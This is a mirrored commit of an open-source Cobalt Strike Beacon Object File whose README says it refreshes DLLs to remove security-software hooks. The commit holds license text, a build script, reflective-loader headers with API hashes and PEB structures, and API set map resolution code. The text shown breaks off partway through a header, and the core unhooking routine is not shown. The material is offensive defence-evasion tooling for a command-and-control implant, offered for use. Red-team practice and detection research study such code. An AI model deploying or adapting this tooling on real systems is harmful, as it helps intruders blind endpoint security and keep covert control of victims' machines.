mirror of
https://github.com/rsmudge/unhook-bof
synced 2026-06-06 16:44:26 +00:00
Initial commit of capabilities.
This commit is contained in:
@@ -0,0 +1,28 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2021, Raphael Mudge
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
* Neither the name of nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific
|
||||
prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
|
||||
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1,31 @@
|
||||
This is a Beacon Object File to refresh DLLs and remove their hooks. The code is from Cylance's Universal Unhooking research:
|
||||
|
||||
https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software
|
||||
|
||||
To use:
|
||||
|
||||
Load unhook.cna into Cobalt Strike via Cobalt Strike -> Script Manager
|
||||
|
||||
Run 'unhook' from Beacon
|
||||
|
||||
To build:
|
||||
|
||||
x86: Open Visual Studio x86 Native Tools Command Prompt and type 'make'
|
||||
x64: Open Visual Studio x64 Croos Tools Command Prompt and type 'make'
|
||||
|
||||
This project derived from:
|
||||
|
||||
Reflective DLL Injection
|
||||
BSD 3-Clause License
|
||||
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||
|
||||
ReflectiveDLLRefresher
|
||||
BSD 3-Clause License
|
||||
Copyright (c) 2017, Cylance Inc.
|
||||
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher
|
||||
|
||||
Unhook Meterpreter Extension
|
||||
BSD-3-Clause License
|
||||
2006-2018, Rapid7, Inc.
|
||||
https://github.com/rapid7/metasploit-payloads/commits/master/c/meterpreter/source/extensions/unhook
|
||||
@@ -0,0 +1,5 @@
|
||||
@echo off
|
||||
set PLAT="x86"
|
||||
IF "%Platform%"=="x64" set PLAT="x64"
|
||||
|
||||
cl.exe /GS- /nologo /Od /Oi /c /Isrc src\unhook.c /Founhook.%PLAT%.o
|
||||
Executable
+57
@@ -0,0 +1,57 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
|
||||
#pragma warning(disable: 4311)
|
||||
#pragma warning(disable: 4312)
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_METASPLOIT_ATTACH 4
|
||||
#define DLL_METASPLOIT_DETACH 5
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
Executable
+215
@@ -0,0 +1,215 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
// Enable this define to turn on locking of memory to prevent paging
|
||||
#define ENABLE_STOPPAGING
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE(WINAPI*LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI*GETPROCADDRESS)(HMODULE,LPCSTR);
|
||||
typedef LPVOID(WINAPI*VIRTUALALLOC)(LPVOID,SIZE_T,DWORD,DWORD);
|
||||
typedef DWORD(NTAPI*NTFLUSHINSTRUCTIONCACHE)(HANDLE,PVOID,ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
typedef LPVOID(WINAPI*VIRTUALLOCK)(LPVOID,SIZE_T);
|
||||
#define VIRTUALLOCK_HASH 0x0EF632F2
|
||||
#endif
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD _hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
Executable
+199
@@ -0,0 +1,199 @@
|
||||
/*************************************************************************************
|
||||
* Author: Jeff Tang <jtang@cylance.com>
|
||||
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
|
||||
* *
|
||||
* Redistribution and use in source and binary forms, with or without modification, *
|
||||
* are permitted provided that the following conditions are met: *
|
||||
* *
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this *
|
||||
* list of conditions and the following disclaimer. *
|
||||
* *
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, *
|
||||
* this list of conditions and the following disclaimer in the documentation and/or *
|
||||
* other materials provided with the distribution. *
|
||||
* *
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors *
|
||||
* may be used to endorse or promote products derived from this software without *
|
||||
* specific prior written permission. *
|
||||
* *
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
|
||||
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
|
||||
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
|
||||
* *
|
||||
*************************************************************************************/
|
||||
#include "apisetmap.h"
|
||||
#include "beacon.h"
|
||||
#include "unhook.h"
|
||||
|
||||
_PPEB GetProcessEnvironmentBlock()
|
||||
{
|
||||
ULONG_PTR pPeb;
|
||||
#ifdef _WIN64
|
||||
pPeb = __readgsqword(0x60);
|
||||
#else
|
||||
#ifdef WIN_ARM
|
||||
pPeb = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||
#else _WIN32
|
||||
pPeb = __readfsdword(0x30);
|
||||
#endif
|
||||
#endif
|
||||
return (_PPEB)pPeb;
|
||||
}
|
||||
|
||||
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList()
|
||||
{
|
||||
return (PLDR_DATA_TABLE_ENTRY)GetProcessEnvironmentBlock()->pLdr->InMemoryOrderModuleList.Flink;
|
||||
}
|
||||
|
||||
PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
|
||||
{
|
||||
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
|
||||
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
|
||||
*stSize = 0;
|
||||
|
||||
if (pApiSetMap->Version == 6)
|
||||
return GetRedirectedName_V6(wszImportingModule, wszVirtualModule, stSize);
|
||||
else if (pApiSetMap->Version == 4)
|
||||
return GetRedirectedName_V4(wszImportingModule, wszVirtualModule, stSize);
|
||||
else if (pApiSetMap->Version == 2)
|
||||
return GetRedirectedName_V2(wszImportingModule, wszVirtualModule, stSize);
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
|
||||
{
|
||||
PAPI_SET_NAMESPACE_ARRAY_V6 pApiSetMap;
|
||||
PAPI_SET_NAMESPACE_ENTRY_V6 pApiEntry;
|
||||
PAPI_SET_VALUE_ENTRY_V6 pApiValue;
|
||||
PAPI_SET_VALUE_ENTRY_V6 pApiArray;
|
||||
DWORD dwEntryCount;
|
||||
LONG dwSetCount;
|
||||
PWSTR wsEntry;
|
||||
PWSTR wsName;
|
||||
PWSTR wsValue;
|
||||
|
||||
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V6)GetProcessEnvironmentBlock()->pFreeList;
|
||||
|
||||
// Loop through each entry in the ApiSetMap to find the matching redirected module entry
|
||||
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
|
||||
{
|
||||
pApiEntry = &pApiSetMap->Array[dwEntryCount];
|
||||
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
|
||||
|
||||
// Skip this entry if it does not match
|
||||
if (_wcsnicmp(wsEntry, wszVirtualModule, pApiEntry->NameLength / 2) != 0)
|
||||
continue;
|
||||
|
||||
pApiArray = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
|
||||
|
||||
// Loop through each value entry from the end and find where the importing module matches the ``Name`` entry
|
||||
// If the ``Name`` entry is empty, it is the default entry @ index = 0
|
||||
for (dwSetCount = pApiEntry->Count-1; dwSetCount >= 0; dwSetCount--)
|
||||
{
|
||||
// pApiValue = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset + (dwSetCount * sizeof(API_SET_VALUE_ENTRY_V6)));
|
||||
pApiValue = &pApiArray[dwSetCount];
|
||||
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
|
||||
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
|
||||
|
||||
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
|
||||
{
|
||||
*stSize = pApiValue->ValueLength / 2;
|
||||
return wsValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
|
||||
{
|
||||
PAPI_SET_NAMESPACE_ARRAY_V4 pApiSetMap;
|
||||
PAPI_SET_NAMESPACE_ENTRY_V4 pApiEntry;
|
||||
PAPI_SET_VALUE_ARRAY_V4 pApiArray;
|
||||
PAPI_SET_VALUE_ENTRY_V4 pApiValue;
|
||||
DWORD dwEntryCount;
|
||||
LONG dwSetCount;
|
||||
PWSTR wsEntry;
|
||||
PWSTR wsName;
|
||||
PWSTR wsValue;
|
||||
PWSTR wszShortVirtualModule;
|
||||
|
||||
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V4)GetProcessEnvironmentBlock()->pFreeList;
|
||||
wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4);
|
||||
|
||||
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
|
||||
{
|
||||
pApiEntry = &pApiSetMap->Array[dwEntryCount];
|
||||
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
|
||||
|
||||
if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0)
|
||||
continue;
|
||||
|
||||
pApiArray = (PAPI_SET_VALUE_ARRAY_V4)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
|
||||
|
||||
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
|
||||
{
|
||||
pApiValue = &pApiArray->Array[dwSetCount];
|
||||
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
|
||||
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
|
||||
|
||||
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
|
||||
{
|
||||
*stSize = pApiValue->ValueLength / 2;
|
||||
return wsValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
|
||||
{
|
||||
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
|
||||
PAPI_SET_NAMESPACE_ENTRY_V2 pApiEntry;
|
||||
PAPI_SET_VALUE_ARRAY_V2 pApiArray;
|
||||
PAPI_SET_VALUE_ENTRY_V2 pApiValue;
|
||||
DWORD dwEntryCount;
|
||||
LONG dwSetCount;
|
||||
PWSTR wsEntry;
|
||||
PWSTR wsName;
|
||||
PWSTR wsValue;
|
||||
PWSTR wszShortVirtualModule;
|
||||
|
||||
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
|
||||
wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4);
|
||||
|
||||
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
|
||||
{
|
||||
pApiEntry = &pApiSetMap->Array[dwEntryCount];
|
||||
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
|
||||
|
||||
if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0)
|
||||
continue;
|
||||
|
||||
pApiArray = (PAPI_SET_VALUE_ARRAY_V2)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
|
||||
|
||||
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
|
||||
{
|
||||
pApiValue = &pApiArray->Array[dwSetCount];
|
||||
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
|
||||
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
|
||||
|
||||
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
|
||||
{
|
||||
*stSize = pApiValue->ValueLength / 2;
|
||||
return wsValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
Executable
+151
@@ -0,0 +1,151 @@
|
||||
/*************************************************************************************
|
||||
* Author: Jeff Tang <jtang@cylance.com>
|
||||
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
|
||||
* *
|
||||
* Redistribution and use in source and binary forms, with or without modification, *
|
||||
* are permitted provided that the following conditions are met: *
|
||||
* *
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this *
|
||||
* list of conditions and the following disclaimer. *
|
||||
* *
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, *
|
||||
* this list of conditions and the following disclaimer in the documentation and/or *
|
||||
* other materials provided with the distribution. *
|
||||
* *
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors *
|
||||
* may be used to endorse or promote products derived from this software without *
|
||||
* specific prior written permission. *
|
||||
* *
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
|
||||
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
|
||||
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
|
||||
* *
|
||||
*************************************************************************************/
|
||||
|
||||
#pragma once
|
||||
#ifndef _APISETMAP_H_
|
||||
#define _APISETMAP_H_
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include "ReflectiveLoader.h"
|
||||
|
||||
_PPEB GetProcessEnvironmentBlock();
|
||||
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList();
|
||||
|
||||
// Win 10
|
||||
typedef struct _API_SET_VALUE_ENTRY_V6
|
||||
{
|
||||
ULONG Flags;
|
||||
ULONG NameOffset;
|
||||
ULONG NameLength;
|
||||
ULONG ValueOffset;
|
||||
ULONG ValueLength;
|
||||
} API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6;
|
||||
|
||||
typedef struct _API_SET_NAMESPACE_HASH_ENTRY_V6
|
||||
{
|
||||
ULONG Hash;
|
||||
ULONG Index;
|
||||
